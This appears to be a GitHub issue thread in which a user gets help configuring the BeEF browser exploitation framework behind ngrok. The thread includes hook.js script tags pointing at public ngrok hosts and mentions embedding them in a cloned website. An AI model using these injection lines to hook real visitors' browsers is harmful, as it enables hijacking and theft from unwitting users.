Which version of BeEF?
Which version of Ruby?
This is usually caused by a malformed config file. Can you post your config file? Be sure to redact anything sensitive (like passwords and possibly hostnames) first. |

Have you made any other changes to the config file apart from removing the I'm not sure how that key ended up in your config file in the first place. That error implies hat parsing the configuration file has failed. If you've made changes, can you post your config file again? Admittedly the error handling sucks. There's no indication of which key is causing the error. It is possible, although unlikely, that the error is triggered by a misconfigured file for one of the extensions.

I'm counting on you @bcoles |
|
Please use triple backticks to format code. It makes the code much easier to read.
I don't understand what that means, but if you've followed some random youtube tutorial and that broke things then that's probably the cause.
If you made "little changes" and now things are broken, and if this is really important to you and is holding you up, then I suggest cloning the repository again and making sure that works. If it works from a clean clone then the issue is clearly one of the changes you've made. |
Ok I see the problem. This wasn't in the config file the first time you posted it, but it is in your config file now: host: "http://7464-197-221-212-40.ngrok.io"
port: "3000" # public port will default to 80 if no https 443 if https
# and local if not set but there is a public host
https: true # true/falseThat is incorrect. The host: "7464-197-221-212-40.ngrok.io"
port: "3000" # public port will default to 80 if no https 443 if https
# and local if not set but there is a public host
https: true # true/false |
|
yes, thats exactly the problem, i wanted to add ngrok so the hook url can work because it shows internal server erro and doesnt hook the browser, im confused, if i want to use with ngrok, whats supposed to be in the host space? or if i have to delete those which ill do now, can you tell me how to make the hook url work pleaseeeeee |
|
Credentials to authenticate in BeEF.see, i just made those lines into comments and i still have same error, since its comment now, its not supposed to have effect on the output of the code [ 0:01:06][!] Warning: System language $LANG '' does not appear to be UTF-8 compatible. |
|
or do you think i should sudo rm -r beef? and start all over again, if you would be here to help, i'll do it now |
Please format your code posts using triple backticks. I'm not going to reverse engineer your changes. It is really not clear what you're doing especially when you paste excerpts of configuration files, especially when the formatting of those files is important. There's way too many possibilities and it's way too hard to figure out what you've done when you've made "little changes" to core code like the I suggest making a backup of your repo. Create a fresh clone. Make changes one by one, and when it breaks you'll know what broke it. |
I'll be around intermittently for a while. It's probably a simple issue, it's just not easy to spot with partial files in poorly formatted markdown.
That... doesn't sound right.

beef configuration, complete |
config.yaml file |
Are you using beef from git ? Can you use diff files instead? It is much easier to reverse engineer whatever insane thing you've done. You can generate a diff like this: Also, are you starting fresh? Is it working? Or are you trying to repair the existing repo? Also, that's the beef code, not the configuration file. |

where should i add the script to, beef configuration or config.yaml? Dont close this yet please |
|
The HTML must be executed in a web browser. Take a look at the demo page for an example. |
|
<script src="http://beef.local.ip.address.here:3000/hook.js"></script>
i know this is the html but where should i add it to, should i just save it in var/www/html folder? is that all i got to do? im so confused |
|
┌──(root💀surprise)-[/var/www/html] i already saved it under var/www/html, but it doesnt work, please help me understand |
<script src="http://beef.local.ip.address.here:3000/hook.js"></script> Add it wherever you like.
If you like.
You'll need to save it with a And you'll need to start which ever web server loads content from And then you'll need to load the page in a web browser.
It's not hard. Look at the demo page for an example.
What does "doesn't work" mean? For someone who wants help you make helping you extremely difficult. The BeEF hook is written in JavaScript. You can tell a browser to execute JavaScript by including it in Your browser has built in development tools which can help you diagnose issues. |

I'm so sorry if i have proved hard to work with, maybe because I'm still learning. <script type="text/javascript" src="http://3f79-197-221-213-143.ngrok.io:443/hook.js"></script> <script type="text/javascript">PORTAL_URL = 'http://www.google.com"></script>i already added the said script in the website i want to use for beef at /var/www/html but I'm still getting the bunch of JS codes, its not displaying the website interface just a bunch of code, thats it |
|
and yes i saved it as .html, do i have to do something with the config.yaml for the hook to work? |
|
There's your problem. <script type="text/javascript" src="http://3f79-197-221-213-143.ngrok.io:443/hook.js"></script> |
|
You're forcing BeEF prints the hook URL to terminal when it starts up. It should print something like this: |
|
[17:06:37][] 309 modules enabled. those are the urlsin beef terminal, i should simply remove the port 443? |
|
i just tried to stop using ngrok until im sure it works, so i changed to my local IP, but i got this error, ./beef |
|
.html JS: <script type="text/javascript" src="http://127.0.0.1/hook.js"></script> config.yaml but i still cant access the hook url, i'm still doing something wrong. |
|
|
|
index.html script added: <script type="text/javascript" src="http://eab2-197-221-213-143.ngrok.io/hook.js"></script>URL in beef Terminal (UI panel works fine, but the hook.js still showing the JS code, thts the only error im facing now) My nano config.yaml public facing URL: I'm sorry for being a dick but i just havent found the solution, and i knw its still my problem |
|
|
i should change https to false? |
|
bro take a step back and think about what you're doing |
|
Your config file is fine. stop breaking things. The hook URL is https. Your script tag uses http. Use https. |
|
|
|
now this is my script <script type="text/javascript" src="https://eab2-197-221-213-143.ngrok.io/hook.js"></script>i have added https and remove the 443 port, but the hook.js still shows the bunch of code instead of the homepage |
The BeEF hook is written in JavaScript. It contains JavaScript. If you open it you will see JavaScript. Take a step back and think about what you're doing. You created a HTML page. You put a script tag in that HTML page. If you open that page the script will execute. |
|
i dont quite understand, yes i have a html page and i added the JS script to it, when i open my hook.js was i suppose to see a bunch of code like below or the actual website i cloned |
|
it just throw this at me everytime, I'm sure its not linking to the webpage with the website i added the JS to because its been showing this bunch of code for several times even if i made changes to the webpage i want, it just throw this codes at me. its frustrating |
open the html page |
|
this is the webpage im trying it with and i saved the page in .html and i edit with nano. i already included the javascript |
|
this opened because i opened it from the saved files, if i try the hook url, it doesnt open just those code |
